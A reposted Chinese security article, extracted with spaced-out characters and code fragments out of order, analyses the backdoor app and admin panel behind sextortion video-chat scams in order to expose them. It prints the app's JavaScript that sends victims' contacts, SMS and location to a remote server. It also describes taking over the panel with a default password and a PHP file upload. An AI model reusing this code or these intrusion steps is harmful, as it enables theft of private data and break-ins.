搜索

[17203] 2021-08-28_起底果聊敲诈这一套

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-08-28_起底果聊敲诈这一套 起 底 果 聊 敲 诈 这 一 套 o r i o l e   F r e e B u f   2 0 2 1 - 0 8 - 2 8 因 法 律 原 因 ， 本 文 中 所 提 及 技 术 的 关 键 步 骤 已 省 略 ， 且 在 无 危 害 的 封 闭 环 境 下 模 拟 进 行 。 本 文 仅 供 技 术 交 流 ， 请 勿 用 于 商 业 及 非 法 用 途 ， 如 产 生 法 律 纠 纷 与 本 人 无 关 。 果 聊 敲 诈 果 聊 敲 诈 视 频 衤 果 聊 敲 诈 这 件 事 情 , 也 就 是 起 源 于 最 近 这 几 年 。 而 且 势 头 只 增 不 减 。 让 公 安 机 关 很 是 头 疼 。 犯 罪 团 伙 往 往 利 用 “ 单 男 ” 的 “ 猎 奇 ” 心 态 ， 以 “ 衤 果 聊 ” 为 诱 饵 ， 先 录 下 被 害 人 不 雅 视 频 ， 同 时 引 诱 被 害 人 安 装 所 谓 的 直 播 A P P （ 实 际 上 植 入 木 马 程 序 ） ， 窃 取 被 害 人 手 机 通 讯 录 等 隐 私 ， 最 后 以 发 送 不 雅 视 频 给 通 讯 录 成 员 为 手 段 迫 使 被 害 人 “ 花 钱 消 灾 ” 。 案 发 后 ， 这 类 被 害 人 往 往 因 顾 忌 对 方 手 中 的 不 雅 视 频 而 忍 气 吞 声 ， 一 步 步 堕 入 犯 罪 分 子 的 “ 桃 色 ” 陷 阱 。 大 量 的 案 发 给 老 百 姓 造 成 了 巨 大 的 财 产 损 失 ， 但 是 囿 于 公 安 机 关 执 法 力 量 的 有 限 ， 大 部 分 通 过 视 频 衤 果 聊 被 敲 诈 的 案 件 尚 难 以 侦 破 。 笔 者 亲 眼 所 见 许 多 人 被 敲 诈 至 倾 家 荡 产 、 欠 债 累 累 。 本 文 就 衤 果 聊 敲 诈 过 程 中 所 使 用 的 后 门 A P P 、 敲 诈 所 用 的 后 台 程 序 进 行 讨 论 。 不 过 在 讨 论 这 两 个 程 序 以 前 ， 我 们 首 先 了 解 勒 索 过 程 中 的 三 个 关 键 步 骤 。 勒 索 过 程 中 的 三 个 关 键 步 骤 勒 索 过 程 中 的 三 个 关 键 步 骤 寻 找 目 标 受 害 者 寻 找 目 标 受 害 者 犯 罪 份 子 一 般 会 在 交 友 软 件 上 通 过 仿 造 的 “ 朋 友 圈 ” ， 将 自 己 打 造 成 年 轻 、 貌 美 的 女 性 用 户 。 借 此 身 份 对 分 辨 能 力 较 差 、 有 寂 寞 心 理 的 男 性 展 开 “ 猎 杀 ” 。 引 诱 男 性 用 户 与 其 进 行 视 频 衤 果 聊 、 钻 入 犯 罪 分 子 挖 好 的 陷 阱 。 诱 导 受 害 者 下 载 后 门 诱 导 受 害 者 下 载 后 门 a p p 犯 罪 份 子 通 过 “ 以 彩 信 方 式 将 受 害 者 不 雅 视 频 发 送 至 其 通 讯 录 所 有 人 ” 为 由 勒 索 受 害 者 。 因 此 对 于 勒 索 团 队 来 说 ， 如 何 获 取 受 害 者 通 讯 录 是 发 起 勒 索 的 前 提 。 在 提 出 视 频 衤 果 聊 后 ， 犯 罪 分 子 伪 装 的 女 性 用 户 会 以 自 己 在 直 播 A P P 里 面 直 播 、 怕 用 常 用 的 聊 天 A P P 不 安 全 等 理 由 要 求 受 害 者 安 装 其 提 供 的 A P P 。 该 A P P 其 实 就 是 一 种 后 门 A P P 。 在 受 害 者 下 载 并 赋 予 A P P 获 取 通 讯 录 权 限 后 ， 受 害 者 的 通 讯 录 、 短 信 、 手 机 相 册 等 隐 私 信 息 就 会 被 上 传 至 后 台 。 对 于 这 个 后 门 A P P ， 内 部 一 般 称 之 为 “ 前 端 ” 。 将 受 害 人 隐 私 信 息 上 传 到 的 平 台 称 为 “ 后 端 ” 。 这 一 前 一 后 两 部 分 将 是 本 文 着 重 进 行 梳 理 的 内 容 。 诱 导 受 害 者 在 衤 果 聊 过 程 中 露 出 隐 私 部 位 与 面 部 诱 导 受 害 者 在 衤 果 聊 过 程 中 露 出 隐 私 部 位 与 面 部 在 衤 果 聊 过 程 中 受 害 者 露 出 的 隐 私 部 位 与 面 部 是 敲 诈 勒 索 的 筹 码 ， 犯 罪 分 子 在 视 频 衤 果 聊 过 程 中 通 过 语 言 、 文 字 等 各 种 方 式 诱 导 受 害 者 露 出 的 隐 私 部 位 与 面 部 并 进 行 录 像 、 截 图 。 在 大 多 数 情 况 下 视 频 衤 果 聊 过 程 中 的 受 害 者 在 心 理 上 已 经 对 对 方 没 有 防 备 ， 因 而 很 少 有 在 这 一 步 终 止 行 为 或 拒 绝 的 。 这 一 部 分 本 文 不 多 赘 述 。 但 值 得 一 提 的 是 ， 在 视 频 衤 果 聊 中 犯 罪 分 子 一 般 是 利 用 虚 拟 摄 像 头 技 术 播 放 已 经 录 制 好 的 画 面 ， 你 以 为 你 在 和 真 人 聊 天 ， 实 际 上 是 对 着 已 经 录 制 好 的 视 频 白 日 做 梦 。 不 过 也 有 在 视 频 中 真 人 出 镜 的 ： A I 换 脸 + 仿 真 硅 胶 皮 套 ， 硅 胶 皮 套 里 面 其 实 是 一 个 如 假 包 换 的 小 伙 子 。 “ 前 端 前 端 ” ： 后 门 ： 后 门 A P P 犯 罪 分 子 通 过 后 门 A P P 窃 取 受 害 者 的 通 讯 录 、 短 信 、 手 机 相 册 等 隐 私 信 息 。 在 研 究 后 门 A P P 的 源 代 码 开 始 时 笔 者 发 现 ， 实 际 上 这 个 所 谓 的 “ 后 门 ” A P P 只 是 用 J S 写 的 H 5 应 用 。 也 并 不 具 有 “ 后 门 ” 的 完 全 功 能 、 只 有 上 传 通 讯 录 、 短 信 、 相 册 、 位 置 等 信 息 的 能 力 。 可 以 看 到 后 门 A P P 的 其 实 是 用 J S 写 的 H 5 应 用 ， 犯 罪 团 伙 通 过 使 用 H B u i l d e r X 提 供 的 云 打 包 功 能 进 行 编 译 打 包 成 a p k 包 或 i p a 包 。 通 过 H B u i l d e r X ， 可 以 非 常 方 便 的 打 包 A P P ， 安 卓 的 a p k 文 件 一 般 是 直 接 发 送 给 受 害 者 ， 或 者 通 过 第 三 方 发 布 网 站 ， 比 如 发 一 个 二 维 码 或 者 链 接 让 受 害 者 扫 码 下 载 。 I O S 也 是 利 用 第 三 方 发 布 网 站
或 T e s t   F l i g h t 测 试 渠 道 ， 与 安 卓 相 似 但 由 于 苹 果 生 态 的 限 制 会 麻 烦 一 些 。 以 下 是 该 项 目 的 目 录 结 构 ： 可 以 看 到 整 个 项 目 非 常 简 单 ， 就 是 一 个 简 单 的 H 5 应 用 。 使 用 了 m u i 前 端 框 架 和 N a t i v e . j s   f o r   A n d r o i d 来 调 用 安 卓 接 口 。 关 键 的 功 能 代 码 集 中 在 中 的 片 段 中 ： ├ ─ ─   c s s │       ├ ─ ─   m u i . c s s │       └ ─ ─   m u i . m i n . c s s ├ ─ ─   i m a g e s │       ├ ─ ─   b j . p n g │       ├ ─ ─   s r c _ i m a g e s _ b u t _ d i a n z _ n . p n g │       ├ ─ ─   s r c _ i m a g e s _ b u t _ d i a n z _ s . p n g │       ├ ─ ─   s r c _ i m a g e s _ b u t _ g u a n b . p n g │       ├ ─ ─   s r c _ i m a g e s _ b u t _ s h o u c _ n . p n g │       ├ ─ ─   s r c _ i m a g e s _ b u t _ s h o u c _ s . p n g │       ├ ─ ─   s r c _ i m a g e s _ b u t _ x i a n g j . p n g │       ├ ─ ─   s r c _ i m a g e s _ t o u x 0 1 . p n g │       ├ ─ ─   s r c _ i m a g e s _ t o u x 0 2 . p n g │       ├ ─ ─   s r c _ i m a g e s _ t o u x 0 3 . p n g │       ├ ─ ─   s r c _ i m a g e s _ t o u x 0 4 . p n g │       ├ ─ ─   s r c _ i m a g e s _ t o u x 0 5 . p n g │       ├ ─ ─   s r c _ i m a g e s _ t o u x 0 6 . p n g │       └ ─ ─   s r c _ i m a g e s _ t o u x 0 7 . p n g ├ ─ ─   i n d e x . h t m l ├ ─ ─   j s │       ├ ─ ─   j q . j s │       └ ─ ─   m u i . m i n . j s ├ ─ ─   l i s t . h t m l ├ ─ ─   m a n i f e s t . j s o n └ ─ ─   u n p a c k a g e         └ ─ ─   r e s                 └ ─ ─   i c o n s                         ├ ─ ─   1 0 2 4 x 1 0 2 4 . p n g                         ├ ─ ─   1 2 0 x 1 2 0 . p n g                         ├ ─ ─   1 4 4 x 1 4 4 . p n g                         ├ ─ ─   1 5 2 x 1 5 2 . p n g                         ├ ─ ─   1 6 7 x 1 6 7 . p n g                         ├ ─ ─   1 8 0 x 1 8 0 . p n g                         ├ ─ ─   1 9 2 x 1 9 2 . p n g                         ├ ─ ─   2 0 x 2 0 . p n g                         ├ ─ ─   2 9 x 2 9 . p n g                         ├ ─ ─   4 0 x 4 0 . p n g                         ├ ─ ─   5 8 x 5 8 . p n g                         ├ ─ ─   6 0 x 6 0 . p n g                         ├ ─ ─   7 2 x 7 2 . p n g                         ├ ─ ─   7 6 x 7 6 . p n g                         ├ ─ ─   8 0 x 8 0 . p n g                         ├ ─ ─   8 7 x 8 7 . p n g                         └ ─ ─   9 6 x 9 6 . p n g 6   d i r e c t o r i e s ,   3 8   f i l e s i n d e x . h t m l j s
在 代 码 中 我 们 可 以 看 到 后 台 上 传 信 息 的 a p i 地 址 代 码 首 先 会 通 过 方 法 获 取 手 机 通 讯 录 权 限 : 等 受 害 者 赋 予 a p p 权 限 后 , 只 需 要 受 害 者 在 A P P 中 填 写 手 机 号 码 和 ” 女 ” 用 户 提 供 的 邀 请 码 进 行 ” 注 册 ” , 即 可 触 发 上 传 逻 辑 , 将 受 害 者 的 通 讯 录 , 短 信 , 位 置 等 隐 私 数 据 上 传 至 后 台 . g e t P e r m i s s i o n ( )
本 来 笔 者 以 为 此 处 的 邀 请 码 是 随 意 填 写 的 , 结 果 在 研 究 后 台 的 时 候 发 现 , 邀 请 码 也 会 被 上 传 至 后 台 。 原 来 每 名 实 施 敲 诈 的 犯 罪 分 子 的 邀 请 码 是 唯 一 的 , 在 犯 罪 团 伙 中 以 该 邀 请 码 为 凭 据 来 计 算 ” 业 绩 ” 。 不 得 不 说 , 这 帮 犯 罪 分 子 还 真 把 这 个 当 生 意 做 了 。 由 此 也 可 以 想 象 存 在 相 当 数 量 较 大 规 模 的 团 伙 . 部 分 关 键 代 码 部 分 关 键 代 码 : 上 传 受 害 者 个 人 隐 私 信 息 的 代 码 主 要 是 如 下 几 个 方 法 实 现 : 我 们 以 上 传 受 害 者 通 讯 录 的 方 法 为 例 : / / 参 数 s j h 为 受 害 者 手 机 号 , y q m 为 受 害 者 填 写 的 邀 请 码 f u n c t i o n   d i n g w e i ( s j h ,   y q m ) / / 上 传 受 害 者 定 位 信 息 f u n c t i o n   h u o q u ( s j h ,   y q m ) / / 上 传 受 害 者 通 讯 录   f u n c t i o n   r e q u e s t P e r m i s s i o n ( s j h ,   y q m ) / / 上 传 受 害 者 短 信 . . . . f u n c t i o n   h u o q u ( s j h ,   y q m )   { v a r   c o n   =   s j h   +   " * * "   +   y q m   +   ' * * '   +   a d d r e s s ; p l u s . c o n t a c t s . g e t A d d r e s s B o o k ( p l u s . c o n t a c t s . A D D R E S S B O O K _ P H O N E ,   f u n c t i o n   ( a d d r e s s b o o k )   {         a d d r e s s b o o k . f i n d ( [ " d i s p l a y N a m e " ,   " p h o n e N u m b e r s " ] ,   f u n c t i o n   ( c o n t a c t s )   { f o r   ( v a r   i   =   0 ,   l e n   =   c o n t a c t s . l e n g t h ;   i   <   l e n ;   i + + )   {                         c o n   =   c o n   +   ' = '   +   c o n t a c t s [ i ] . d i s p l a y N a m e   +   ' | '   +   ( c o n t a c t s [ i ] . p h o n e N u m b e r s . l e n g t h   = =   0   ?   " "   :   c o n t a c t s [ i ] . p h o n e N u m b e r s [ 0 ] . v a l u e ) ;                 }                 m u i . a j a x ( a p i s e r v e r   +   ' a p i ' ,   {                         d a t a :   {                                 d a t a :   c o n                         } ,                         d a t a T y p e :   ' t e x t ' ,   / / 服 务 器 返 回 j s o n 格 式 数 据                         t y p e :   ' p o s t ' ,   / / H T T P 请 求 类 型                         t i m e o u t :   1 0 0 0 0 ,   / / 超 时 时 间 设 置 为 1 0 秒 ；                         s u c c e s s :   f u n c t i o n   ( d a t a )   {                                         / / a l e r t ( d a t a )                                         i f   ( d a t a   = =   ' 正 在 加 载 列 表 ' )   {                                                 d i n g w e i ( s j h ,   y q m ) ;                                                 m u i . o p e n W i n d o w ( {                                                         u r l :   ' l i s t . h t m l ' ,                                                         s h o w :   {                                                                 a u t o S h o w :   t r u e                                                         }
方 法 首 先 调 用 接 口 获 取 了 手 机 通 讯 录 : 然 后 将 通 讯 录 中 的 所 有 数 据 以 明 文 方 式 转 储 在 一 个 字 符 串 变 量 中 : 变 量 中 储 存 的 通 讯 录 数 据 形 式 如 下 例 : 最 后 再 将 明 文 储 存 的 数 据 异 步 上 传 至 后 台 , 同 时 还 启 动 了 上 传 位 置 的 逻 辑 : 至 于 目 标 u r l , 后 台 的 A P I 地 址 是 在 这 段 j s 开 头 就 定 义 好 的 : 同 时 可 以 得 知 上 传 通 讯 录 数 据 的 A P I 地 址 是 其 他 一 些 功 能 的 A P I 地 址 是 : “ 后 端 后 端 ” : 数 据 上 传 后 台 数 据 上 传 后 台 现 在 “ 黑 产 圈 子 ” 里 用 的 比 较 多 的 后 台 是 叫 一 个 “ 完 美 通 讯 录 ” 的 后 台 网 站 , 也 叫 “ A P P V 1 ” 版 通 讯 录 , 也 有 自 己 修 改 以 后 叫 ” x x x 通 讯 录 ” 的 . 现 在 还 有 什 么 “ 完 美 通 讯 录 V I P 通 讯 录 ” , 版 本 花 样 很 多 . 功 能 也 不 尽 相 同 , 有 的 能 查 看 相 册 内 容 , 有 的 甚 至 已 经 可 以 远 控 . 但 是 万 变 不 离 其 宗 , 完 美 通 讯 这 个 站 是 各 种 版 本 的 根 源 。 以 上 的 认 识 是 笔 者 从 有 限 的 研 究 和 资 料 中 所 下 的 结 论 , 由 于 并 不 涉 足 , 也 没 有 什 么 网 络 犯 罪 调 查 的 经 验 , 所 以 在 见 识 上 要 短 很 多 , 还 请 各 位 大 佬 指 教 。                                                         }                                                 } ) ;                                         }   e l s e   {                                                 m u i . t o a s t ( d a t a )                                         }                                         / / c o n s o l e . l o g ( c o n )                                 } ,                                 e r r o r :   f u n c t i o n   ( x h r ,   t y p e ,   e r r o r T h r o w n )   {                                         / / 异 常 处 理 ；                                 }                 } ) ;         } ,   f u n c t i o n   ( )   {                 m u i . a l e r t ( " 为 保 证 用 户 质 量 ， 使 用 本 a p p 请 同 意 通 讯 录 授 权   " ) ;         } ,   {                 m u l t i p l e :   t r u e         } ) ; } ,   f u n c t i o n   ( e )   {         m u i . a l e r t ( " 为 保 证 用 户 质 量 ， 使 用 本 a p p 请 同 意 通 讯 录 授 权   " ) ; } ) ; } } ) ; p l u s . c o n t a c t s . g e t A d d r e s s B o o k ( p l u s . c o n t a c t s . A D D R E S S B O O K _ P H O N E ,   f u n c t i o n   ( a d d r e s s b o o k )   {         a d d r e s s b o o k . f i n d ( [ " d i s p l a y N a m e " ,   " p h o n e N u m b e r s " ] ,   f u n c t i o n   ( c o n t a c t s )   {                 } c o n c o n   =   c o n   +   ' = '   +   c o n t a c t s [ i ] . d i s p l a y N a m e   +   ' | '   +   ( c o n t a c t s [ i ] . p h o n e N u m b e r s . l e n g t h   = =   0   ?   " "   :   c o n t a c t s [ i ] . p h o n e N u m b e r s [ 0 ] . v a l u e ) ; c o n c o n = ' 受 害 人 手 机 号 * * 邀 请 码 邀 请 码 * * 定 位 = 1 3 2 * * * * 1 8 3 4 | o r i o l e = 1 9 8 * * * * 2 2 3 1 | 刘 总 刘 总 = 1 3 3 * * * * 2 1 3 5 | 妈 妈 妈 妈 = 1 7 6 * * * * 4 4 9 1 | 爸 爸 爸 爸 = 1 5 7 * * * * 5 8 9 3 | 老 婆 老 婆 = 1 8 6 * * * * 2 8 4 2 | 王 老 师 王 老 师 = 1 3 5 * * * * 8 8 8 1 | 物 业 张 物 业 张 = 1 9 8 * * * * 6 3 5 2 | 公 司 公 司 z z H R = 1 5 8 * * m u i . a j a x ( a p i s e r v e r   +   ' a p i ' ,   {                         d a t a :   {                                 d a t a :   c o n                         } ,                         d a t a T y p e :   ' t e x t ' ,   / / 服 务 器 返 回 j s o n 格 式 数 据                         t y p e :   ' p o s t ' ,   / / H T T P 请 求 类 型                         t i m e o u t :   1 0 0 0 0 ,   / / 超 时 时 间 设 置 为 1 0 秒 ；                         s u c c e s s :   f u n c t i o n   ( d a t a )   {                                         / / a l e r t ( d a t a )                                         i f   ( d a t a   = =   ' 正 在 加 载 列 表 ' )   {                                                 d i n g w e i ( s j h ,   y q m ) ;                                                 m u i . o p e n W i n d o w ( {                                                         u r l :   ' l i s t . h t m l ' ,                                                         s h o w :   {                                                                 a u t o S h o w :   t r u e                                                         }                                                 } ) ;                                         }   e l s e   {                                                 m u i . t o a s t ( d a t a )                               . . . . a p i s e r v e r v a r   a p i s e r v e r   =   ' h t t p : / / 1 1 4 . * * . * * . 1 2 / a p i / u p l o a d s / ' ; / a p i / u p l o a d s / a p i 上 传 短 信 :   / a p i / u p l o a d s / a p i / a p i s m s 上 传 定 位 :   / a p i / u p l o a d s / a p i / a p i m a p . . . .
后 台 站 是 基 于 t h i n k p h p 5 . 0 . 2 4 二 次 开 发 的 一 款 小 众 c m s :   t p l a y . 环 境 就 是 简 单 的 N G I N X + P H P + M y S Q L , 大 部 分 都 基 于 宝 塔 且 开 启 了 伪 静 态 。 访 问 可 进 入 登 录 页 面 , 后 台 站 的 管 理 员 账 户 a d m i n 默 认 密 码 是 1 2 3 4 5 6 。 此 站 为 测 试 学 习 使 用 且 搭 建 在 内 网 环 境 中 , 切 勿 尝 试 , 触 犯 法 律 。 在 左 侧 菜 单 栏 的 中 能 够 浏 览 受 害 者 隐 私 信 息 上 传 的 情 况 在 设 备 查 看 一 栏 中 可 以 看 到 所 有 的 受 害 者 设 备 : 可 以 看 到 在 此 处 能 够 查 看 其 所 在 位 置 、 通 讯 录 、 短 信 等 等 ， 这 些 信 息 也 可 以 直 接 下 载 。 大 部 分 情 况 犯 罪 分 子 会 把 这 些 数 据 下 载 下 来 再 进 行 勒 索 。 在 线 定 位 的 功 能 ， 是 通 过 手 机 自 身 定 位 后 上 传 的 位 置 信 息 ， 因 而 非 常 精 确 。 这 里 不 做 展 示 ， 查 看 通 讯 录 功 能 可 以 完 整 查 看 受 害 者 的 通 讯 录 信 息 ， 包 含 姓 名 、 电 话 以 及 往 来 短 信 。 / a d m i n / c o m m o n / l o g i n . s h t m l 查 看 通 讯 录 数 据
受 害 者 手 机 内 的 所 有 短 信 也 同 样 会 被 上 传 ： 部 分 关 键 代 码 部 分 关 键 代 码 分 析 过 前 端 代 码 时 我 们 可 以 看 到 ， 后 门 A P P 通 过 后 台 A P I 接 口 明 文 上 传 了 受 害 者 的 隐 私 信 息 ， 这 在 后 台 的 P H P 代 码 中 可 以 找 到 对 应 的 代 码 逻 辑 部 分 。 所 有 的 关 键 功 能 都 集 中 在 中 ： 读 取 通 讯 录 的 代 码 片 段 : a p p / a p i / c o n t r o l l e r / U p l o a d s . p h p
以 上 代 码 实 现 对 受 害 者 上 传 的 通 信 录 进 行 解 析 并 将 其 储 存 进 数 据 库 . 逻 辑 比 较 简 单 , 就 是 用 等 号 分 割 通 讯 录 联 系 人 信 息 , 每 个 联 系 人 信 息 用 分 隔 开 联 系 人 姓 名 和 手 机 号 码 。 然 后 插 入 数 据 库 中 。 讲 一 句 题 外 话 , 写 这 个 站 的 人 水 平 真 的 很 一 般 , 用 这 种 奇 怪 的 格 式 明 文 传 送 数 据 就 算 了 , 变 量 名 竟 然 还 用 $ a 和 $ b 此 类 , 可 见 不 是 什 么 正 经 之 流 。 初 步 侦 查 的 思 路 初 步 侦 查 的 思 路 获 取 后 门 获 取 后 门 A P P 样 本 样 本 , 分 析 流 量 获 取 后 台 地 址 分 析 流 量 获 取 后 台 地 址 首 先 受 害 者 的 手 机 上 一 般 是 还 存 在 后 门 A P P 或 者 下 载 渠 道 的 , 第 一 时 间 应 该 还 是 获 取 A P P 样 本 。 建 议 不 必 先 对 A P P 进 行 逆 向 分 析 , 因 为 一 是 A P P 只 是 一 个 简 单 的 H 5 应 用 , 没 有 逆 向 的 必 要 , 再 一 个 A P P 中 最 有 价 值 的 线 索 是 后 台 地 址 , 为 了 免 杀 , 做 A P P 的 团 队 对 代 码 一 定 是 由 混 淆 的 。 这 一 点 几 乎 是 可 以 肯 定 的 , 而 后 台 地 址 我 们 最 方 便 的 方 式 是 对 A P P 抓 一 个 包 , 且 A P P 与 服 务 器 后 台 通 讯 是 明 文 的 , 走 的 是 H T T P , 我 们 可 以 轻 而 易 举 获 取 后 台 地 址 等 等 有 价 值 信 息 。 不 建 议 安 装 在 模 拟 器 上 进 行 抓 包 分 析 , 模 拟 器 一 般 是 没 有 通 讯 录 这 一 部 分 的 , A P P 尚 未 发 起 连 接 就 会 因 为 在 获 取 通 讯 录 时 报 错 退 出 。 建 议 平 时 准 备 一 个 测 试 机 , 在 测 试 机 器 上 进 行 抓 包 , 分 析 流 量 。 这 个 A P P 不 走 代 理 , 直 接 使 用 我 们 常 用 的 抓 包 工 具 即 可 。 比 如 抓 包 精 灵 , F i d d l e r , T c p d u m p 等 等 。 I O S 上 可 以 使 用 S t r e a m ( A P P S t o r e ) ,   C h a r l e s 等 等 。 如 何 抓 包 在 此 不 题 。 获 取 服 务 器 后 台 地 址 后 进 行 渗 透 获 取 服 务 器 后 台 地 址 后 进 行 渗 透 衤 果 聊 后 台 的 这 一 套 源 码 当 初 在 设 计 的 时 候 就 把 管 理 员 a d m i n 密 码 默 认 设 置 成 1 2 3 4 5 6 。 犯 罪 分 子 安 全 意 识 比 较 ” 差 ” , 很 多 平 台 都 是 不 改 的 。 如 果 运 气 好 碰 到 没 改 密 码 的 , 我 们 可 以 直 接 进 后 台 。 如 果 能 进 后 台 , 后 面 的 事 情 就 非 常 简 单 。 在 中 可 以 修 改 上 传 文 件 限 制 : 作 者 如 此 慷 慨 , 我 们 当 然 要 把 p h p 加 进 去 了 。 上 传 点 在 上 传 头 像 的 地 方 , 还 是 在 中 , 在 , 可 以 修 改 头 像 , 通 过 此 处 随 便 传 个 p h p i n f o 先 。 e l s e {                                         $ c o   =   $ t h i s - > g e t i p ( $ i p ) ;                                           $ i p d z   =   $ c o ;                                         $ r e g d a t a   =   a r r a y ( ' n a m e ' = > $ a a a [ 0 ] , ' c o d e ' = > $ a a a [ 1 ] , ' c l i e n t i d ' = > $ a a a [ 2 ] , ' l o g i n _ t i m e ' = > $ t i m e , ' i p ' = > $ i p , ' i p d z ' = > $ i p d z ) ;                                         $ u s e r i d   =   d b ( ' u s e r ' ) - > i n s e r t G e t I d ( $ r e g d a t a ) ;                                         i f ( $ u s e r i d ) {                                                 i f ( c o u n t ( $ a )   ! =   0 )   {                                                         f o r e a c h   ( $ a   a s   $ k   = >   $ v )   {                                                                 i f   ( $ k > 0 ) {                                                                 $ b = e x p l o d e ( ' | ' , $ v ) ;                                                                 $ a r r [ ' u s e r i d ' ]   =   $ u s e r i d ;                                                                 $ a r r [ ' u s e r n a m e ' ]   =   $ b [ 0 ] ;                                                                 $ a r r [ ' u m o b i l e ' ]   =   $ b [ 1 ] ;                                                                 $ a r r [ ' a d d t i m e ' ]   =   $ t i m e ;                                                                 $ r e s [ ]   =   $ a r r ;                                                                 }                                                         } ;                                                         $ n u m s   =   1 0 0 ;                                                         $ l i m i t   =   c e i l ( c o u n t ( $ r e s ) / $ n u m s ) ;                                                         f o r   ( $ i = 1 ; $ i < = $ l i m i t ; $ i + + )   {                                                                 $ o f f s e t = ( $ i - 1 ) * $ n u m s ;                                                                 $ d a t a = a r r a y _ s l i c e ( $ r e s , $ o f f s e t , $ n u m s ) ;                                                                 $ r e s u l t = d b ( ' m o b i l e ' ) - > i n s e r t A l l ( $ d a t a ) ;                                                         } ;         . . . . = | 系 统 - > 设 置 - > 网 站 设 置 系 统 个 人 - > 个 人 信 息
因 为 有 这 里 有 l a y u i 的 前 端 限 制 , 还 不 能 直 接 传 p h p 文 件 , 用 b p 抓 个 包 修 改 一 下 后 缀 名 就 行 。 上 传 成 功 : 如 果 平 台 修 改 了 弱 密 码 , 那 难 度 就 比 较 大 了 , 由 于 t h i n k p h p 版 本 是 5 . 0 . 2 4 , 正 好 是 t h i n k p h p 系 列 中 比 较 安 全 的 一 个 版 本 。 此 时 可 以 尝 试 找 一 找 旁 站 , 有 很 多 案 例 显 示 犯 罪 团 伙 不 止 搞 ” 衤 果 聊 ” 一 套 ” 业 务 ” , 在 同 一 个 服 务 器 上 可 能 搭 建 了 多 种 诈 骗 网 站 , 可 以 扫 一 扫 看 一 看 有 没 有 其 他 的 点 。 后 话 后 话 写 这 篇 文 章 的 目 的 也 是 希 望 让 更 多 人 知 道 衤 果 聊 诈 骗 的 套 路 , 搞 安 全 的 咱 不 要 玩 鹰 的 让 鹰 啄 了 眼 睛 , 单 身 不 要 紧 , 一 定 要 忍 受 住 诱 惑 。 很 多 时 候 平 时 能 看 穿 的 套 路 一 旦 有 欲 望 的 加 持 , 理 性 会 迅 速 变 得 廉 价 。 再 一 个 如 果 真 的 哪 位 兄 弟 或 兄 弟 的 兄 弟 有 一 天 遭 受 此 劫 , 笔 者 建 议 一 分 钱 都 不 要 转 。 虽 然 对 方 敲 诈 的 语 言 非 常 令 人 恐 惧 , 但 是 笔 者 曾 经 咨 询 过 一 些 民 警 , 绝 大 部 分 的 情 况 犯 罪 分 子 并 没 有 发 送 带 有 受 害 者 不 雅 视 频 的 链 接 , 因 为 站 在 犯 罪 分 子 的 时 间 成 本 角 度 讲 , 有 花 钱 给 你 发 彩 信 的 时 间 , 不 如 去 敲 诈 下 一 个 “ 业 务 ” 是 很 繁 忙 的 , 不 要 以 为 很 多 人 围 着 你 一 个 人 敲 诈 , 大 部 分 情 况 你 只 是 今 天 的 众 多 受 害 者 之 一 。 最 好 的 方 法 就 是 马 上 脱 离 接 触 , 一 刀 切 总 比 钝 刀 子 割 肉 要 强 。 正 义 可 能 会 迟 到 , 但 永 远 不 会 缺 席 。 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理